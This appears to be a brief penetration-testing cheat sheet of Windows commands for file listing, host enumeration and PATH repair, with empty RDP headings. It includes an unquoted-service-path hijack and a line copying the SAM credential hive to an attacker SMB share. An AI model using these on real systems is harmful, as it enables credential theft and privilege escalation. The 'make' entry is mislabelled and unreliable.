Commands

Commands

make filename.txt # read file contents
dir
#Listing DIRs with all hidden files and folders. 
dir /a:hd
#Same thing in Powershell.
ls -Fo
pwd
hostname
ipconfig
copy C:\app.exeย "C:\Program Files\Unquoted Path Service\Common.exe" #Copy and rename.
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\ # You can also transfer to a smb share.
type C:\DevTools\CleanUp.ps1 # Read files like cat in linux.

Fix PATH if commands are not working

set PATH=%PATH%C:\Windows\System32;C:\Windows\System32\WindowsPowerShell\v1.0;

RDP

Enable RDP

Last updated